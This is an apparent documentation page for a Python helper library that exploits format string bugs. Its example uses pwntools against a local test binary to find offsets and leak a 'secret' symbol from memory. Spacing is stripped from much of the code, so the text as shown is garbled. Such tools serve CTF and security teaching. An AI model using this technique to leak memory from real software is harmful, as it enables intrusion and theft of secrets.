http://formatstringexploiter.readthedocs.io/en/latest/index.html
Helper script for working with format string bugs
Example
fromformatStringExploiter.FormatStringimportFormatStringfrompwnimport*importlogginglogging.basicConfig(level=logging.WARN)
log=logging.getLogger()
elf=ELF("formatStringTest")
# Defining format string executor heredefexec_fmt(s):
p=process("./formatStringTest",buffer_fill_size=0xffff)
p.sendline(s)
p.recvuntil("Input a format string: ")
out=p.recvuntil("Logged in",drop=True)
p.close()
returnout# Create the class and self-discover the correct offsetsfmtStr=FormatString(exec_fmt,elf=elf)
# Leak some point in memory as a stringfmtStr[elf.symbols['secret']]
# Equivalently, but with caching and more smarts...fmtStr.leak.s(elf.symbols['secret'])